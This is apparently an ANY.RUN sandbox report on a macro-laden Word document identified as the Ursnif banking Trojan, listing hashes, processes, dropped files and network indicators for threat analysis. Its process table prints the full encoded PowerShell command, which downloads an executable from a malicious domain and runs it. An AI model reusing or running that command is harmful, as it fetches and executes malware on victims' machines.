analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Request11_6.doc

Full analysis: https://app.any.run/tasks/82d326e4-d8d7-4327-9595-12d9f2e29aa8
Verdict: Malicious activity
Threats:

Ursnif is a banking Trojan that usually infects corporate victims. It is based on an old malware but was substantially updated over the years and became quite powerful. Today Ursnif is one of the most widely spread banking Trojans in the world.

Malware Trends Tracker     >>>
Analysis date: February 19, 2019, 11:22:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
gozi
ursnif
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Feb 19 07:50:00 2019, Last Saved Time/Date: Tue Feb 19 07:50:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 4, Security: 0
MD5:

AC9C977F9C5AE468B3E252BAEB0EF0AA

SHA1:

F02F07201A9770B9D4195104173DC353A6CF35C3

SHA256:

299E51A9D91D5B3EDC7D56A5B17C8B369F2CB62580C11AB7D3B1173C00F208B4

SSDEEP:

3072:w4eOY5CTsdA/TMLW1N6YYIkNNgH5zp4O/ndlC2Nk6CeI:wTbATMLWvxrNt/ndl/e6Cj

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • URSNIF was detected

      • powersheLl.exe (PID: 1836)

  • SUSPICIOUS

    • Creates files in the user directory

      • powersheLl.exe (PID: 1836)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2968)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2968)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: -
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:02:19 07:50:00
ModifyDate: 2019:02:19 07:50:00
Pages: 1
Words: -
Characters: 4
Security: None
CodePage: Windows Cyrillic
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 4
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
34
Monitored processes
2
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs #URSNIF powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2968"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Request11_6.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
1836powersheLl -e JABQADEAXwA5ADUAMQA9ACgAJwBNADEAMwA2ACcAKwAnAF8AJwArACcAOAA4ADIAJwApADsAJABSADkAMQBfADYANQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABrADgAXwAxADkAMQA0AD0AKAAnAGgAdAAnACsAJwB0AHAAOgAvAC8AcABnAGEAcgBmAGkAZQBsAGQAdQBvACcAKwAnAHoAegAnACsAJwBlACcAKwAnAGwAZABhACcAKwAnAC4AJwArACcAYgBhAG4AZAAvACcAKwAnAHgAbgAxADAAMgBzAHAAJwArACcAMQAwAHoAJwArACcAawAvAG0AMQAnACsAJwAwAHAAJwArACcAcwAxACcAKwAnAC0AcwBsAHgALgBwAGgAcAA/AGwAPQBlAHgAbwBwACcAKwAnADkALgBqAGEAbQAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABUADAANQBfAF8ANAA0AD0AKAAnAEIAOABfACcAKwAnADkANAAnACsAJwA0ACcAKQA7ACQAWABfADQAMQA1ADkAMgAgAD0AIAAoACcANAA3ACcAKwAnADMAJwApADsAJAB3ADgAOAAwAF8AMAA2AD0AKAAnAEEAOQAnACsAJwA1AF8AJwArACcAXwAxADMAJwApADsAJABzADAAXwA2ADkAMQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWABfADQAMQA1ADkAMgArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEgAMwA2AF8ANwAxADgAIABpAG4AIAAkAGsAOABfADEAOQAxADQAKQB7AHQAcgB5AHsAJABSADkAMQBfADYANQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABIADMANgBfADcAMQA4ACwAIAAkAHMAMABfADYAOQAxACkAOwAkAGoANgAyADgANgAwAF8AMQA9ACgAJwBaACcAKwAnAF8AMgA2AF8AXwAzACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAHMAMABfADYAOQAxACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAcwAwAF8ANgA5ADEAOwAkAGsAXwAwADgAXwA5ADQAXwA9ACgAJwBqAF8ANgAnACsAJwA4ADYAXwAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQAzAF8AXwBfADcAXwA9ACgAJwB0ADQAOAAnACsAJwBfACcAKwAnAF8ANAA1ADEAJwApADsAC:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 313
Read events
918
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
2968WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVREA16.tmp.cvr —
MD5:—
SHA256:—
1836powersheLl.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JJGPOTLFOY9EFYCHOUQ8.temp —
MD5:—
SHA256:—
2968WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$quest11_6.docpgc
MD5:5DA0FE67D3A55B3254E0349FE1DE1F25
SHA256:D2A942B2DD441ECE2501370B9212C5EAA426E321442AA8F6B494CC6C078CB868
1836powersheLl.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
1836powersheLl.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF20f33d.TMPbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
2968WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:CA520998CE694C844B1FE8C3635EF2C7
SHA256:A64C55E65AA999414E5773AE0C4B7B6676F20976C3C6BF80941EBF85BA65A013
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1836
powersheLl.exe
GET
404
185.228.234.159:80
http://pgarfielduozzelda.band/xn102sp10zk/m10ps1-slx.php?l=exop9.jam
unknown
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1836
powersheLl.exe
185.228.234.159:80
pgarfielduozzelda.band
—
—
suspicious

DNS requests

Domain
IP
Reputation
pgarfielduozzelda.band
  • 185.228.234.159
malicious

Threats

PID
Process
Class
Message
1836
powersheLl.exe
A Network Trojan was detected
MALWARE [PTsecurity] MalDoc Requesting Ursnif Payload
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Request11_6.doc